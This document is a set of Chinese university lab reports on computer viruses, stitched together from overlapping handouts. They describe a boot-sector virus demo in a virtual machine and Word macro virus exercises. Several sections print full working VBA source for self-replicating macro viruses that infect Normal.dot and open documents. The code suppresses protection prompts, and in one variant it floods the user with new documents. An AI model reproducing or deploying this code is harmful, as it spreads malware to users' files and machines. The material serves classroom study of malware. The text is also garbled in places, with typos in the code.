第二步:软盘感染硬盘1)运行虚拟机,检查目前虚拟硬盘是否含有病毒,图1表示没有病毒正常启动硬盘的状态。
2)在附书资源中复制含有病毒的虚拟软盘virus.img3)将含有病毒的软盘插入虚拟机引导,可以看到闪动的字符*^_^*,如图2所示,按任意键进入图3。
第三步:验证硬盘已经被感染1)取出虚拟软盘,通过硬盘引导,再次出现了病毒的画面如图4。
2)按任意键后正常引导了DOS系统如图5。
可见,硬盘已被感染。
第四步:硬盘感染软盘1)下载empty.img,并且将它插入虚拟机,启动计算机,由于该盘为空,如图6.2)取出虚拟软盘,从硬盘启动,通过命令format A:/q快速格式化软盘。
计算机网络安全技术实训报告班级:学号:姓名:实训:网络安全技术实训项目单-宏病毒制作(自我复制)一、实训目的练习使用0FFICE自带宏编辑功能,编写一个能够自我复制的宏病毒程序。
二、实训环境一台预装 Windows /2003 的主机,。
软件工具: Microsoft Office 2003或2010等版本软件关闭杀毒软;打开Word 2003,在工具 宏 安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问三、实训内容实验目的(后果自负) Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。
本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。
四、实训要求实验内容和分析为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)1 自我复制,感染word公用模板和当前文档2 word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
代码如下:'Micro-VirusSub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOptions.SaveNormalPrompt = FalseOurcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet Host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith HostIf .Lines(1.1) <> "'Micro-Virus" Then.DeleteLines 1, .CountOfLines.InsertLines 1, Ourcode.ReplaceLine 2, "Sub Document_Close()"If ThisDocument = nomaltemplate Then.ReplaceLine 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithMsgBox "MicroVirus by Content Security Lab"End Sub打开一个word文档,然后按Alt+F11调用宏编写窗口(工具宏Visual Basic宏编辑器),在左侧的project—>Microsoft Word对象ThisDocument中输入以上代码,保存,此时当前五、实训步骤(学生完成)第一步:第二步:。
实验五类TaiWan NO.1病毒实验1.实验目的Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。
本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。
2.实验所需条件和环境硬件设备:局域网,终端PC机。
系统软件:Windows系列操作系统支撑软件:Word 2003软件设置:关闭杀毒软;打开Word 2003,在工具→宏→安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问实验环境配置如下图所示:受感染终端被感染终端宏病毒传播示意图3.实验内容和分析为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
3.1. 例1 自我复制,感染word公用模板和当前文档代码如下:'Micro-VirusSub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOptions.SaveNormalPrompt = FalseOurcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModuleIf ThisDocument = NormalTemplate ThenSet Host = ActiveDocument.VBProject.VBComponents(1).CodeModuleEnd IfWith HostIf .Lines(1.1) <> "'Micro-Virus" Then.DeleteLines 1, .CountOfLines.InsertLines 1, Ourcode.ReplaceLine 2, "Sub Document_Close()"If ThisDocument = nomaltemplate Then.ReplaceLine 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithMsgBox "MicroVirus by Content Security Lab"End Sub打开一个word文档,然后按Alt+F11调用宏编写窗口(工具→宏→Visual Basic→宏编辑器),在左侧的project—>Microsoft Word对象→ThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
宏病毒分析一、宏病毒简介宏,就是软件设计者为了在使用软件工作时,避免一再的重复相同的动作而设计出来的一种工具。
它利用简单的语法,把常用的动作写成宏,当再工作时,就可以直接利用事先写好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作。
宏病毒是一种寄存在文档或模板的宏中计算机病毒。
一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。
从此以后所以自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
宏病毒正式利用了在Word和其他办公软件如Excel中所具有的宏特征进行病毒感染,本质上,它是嵌入到字处理文档或其他类型文件中的一段可执行代码。
二、宏病毒特点(1)、宏病毒的主要破坏○1.对WORD运行的破坏是:不能正常打印;封闭或改变文件存储路径;将文件改名;乱复制文件;封闭有关菜单;文件无法正常编辑。
○2.对系统的破坏是:Word Basic语言能够调用系统命令,造成破坏。
(2)、宏病毒隐蔽性强,传播迅速,危害严重,难以防治与感染普通.EXE或.COM文件的病毒相比,Word宏病毒具有隐蔽性强,传播迅速,危害严重,难以治愈等特点。
(3)、宏病毒具体表现○1.隐蔽性强由于人们忽视了在传递一个文档时也会有传播病毒的机会。
○2.毒传播迅速因为办公数据的交流要比拷贝.EXE文件更加经常和频繁,如果说扼制盗版可以减少普通.EXE或.COM病毒传播的话,那么这一招对Word病毒将束手元策。
○3.危害严重无数的DOC文件从上级机关传播到基层,基层又上报到上级机关,从各个单位的办公室到工作者的家庭,到出版部门的计算机系统。
于是,便存在这样一种可能,当成千上万的计算机系统在传播和复制这些数据以及文档文件的同时,也在忠实地传播和复制这些病毒。
由于该病毒能跨越多种平台,并且针对数据文档进行破坏,因此具有极大的危害性,该病毒在公司通过内联网相互进行文档传送时,迅速蔓延,往往很快就能使公司的机器全部染上病毒。
宏病毒实验报告
2 邹文敏
一、实验目的
通过运行计算机代码,更加深刻的理解计算机代码。
对计算机代码有一个初步的认识。
加深对宏病毒的感性认识,宏病毒是感染数据文件word,office 等。
二、实验内容
运行自我复制,感染word公用模板和当前文档;具有一定破坏性的宏;清除宏病毒。
三、实验步骤
实验一:
将word文档中的开发者工具打开;word 中心→信任选项→宏设计将信任选项打开
运行第一个实验Visual Basic →normal →Microsoft→the document
Project→microsoft word对象→the document复制如下代码:'APMP
Private Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False '以上都是基本的自我隐藏措施
MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines( 1, 20)
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then _
Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
With Host
If .Lines(1, 1) <> "'APMP" Then '判断感染标志
.DeleteLines 1, .CountOfLines '删除目标文件所有代码
.InsertLines 1, MyCode '向目标文档写入病毒代码
If ThisDocument = NormalTemplate Then _
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End With
MsgBox "Basic class macro by jackie", vbOKOnly, "APMP"
End Sub
保存时注意保存为宏文件
实验一运行截图:
清除实验一中的内容只需要删除,the document 中的内容在保存即可。
实验二:
编写代码的位置同上;
代码如下:
'moonlight
Dim nm(4)
Sub Document_Open()
'DisableInput 1
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'moonlight" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 3, "Sub Document_Close()"
If ThisDocument = NormalTemplate Then
.ReplaceLine 3, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
Count = 0
If Day(Now()) = 25 Then
try:
On Error GoTo try
test = -1
con = 1
tog$ = ""
i = 0
While test = -1
For i = 0 To 4
nm(i) = Int(Rnd() * 10)
con = con * nm(i)
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + "=?"
GoTo beg
End If
tog$ = tog$ + Str$(nm(i)) + "*"
Next i
beg:
Beep
ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Beep
With Selection.Font
.Name = "细明体"
.Size = 16
.Bold = 1
.Underline = 1
End With
Selection.InsertAfter Text:="何谓宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="我就是......" Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic = 0
Beep
Selection.InsertAfter Text:="如何预防宏病毒" Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="不要看我......" GoTo out
Else
Count = Count + 1
For j = 1 To 20
Beep
Documents.Add
Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Selection.InsertAfter Text:="宏病毒"
If Count = 2 Then GoTo out
GoTo try
End If
Wend
End If
out:
End Sub
运行截图:
①运行错误时:
②运行错误时:
最后清除病毒时首先用快捷方式ctrl+alt+delet打开任务管理,之后结束进程,删除写病毒的文档,好了,文档中的病毒已经被
删除了!
四、心得
宏病毒的使用在word文档中一旦被感染不删除的话会一直感染下去,致使电脑死机。
宏病毒,宏病毒主要感染数据文件即非可执行文件。
平时注意word文档中的信任选项和病毒漏洞的防护哟!
11 / 11下载文档可编辑。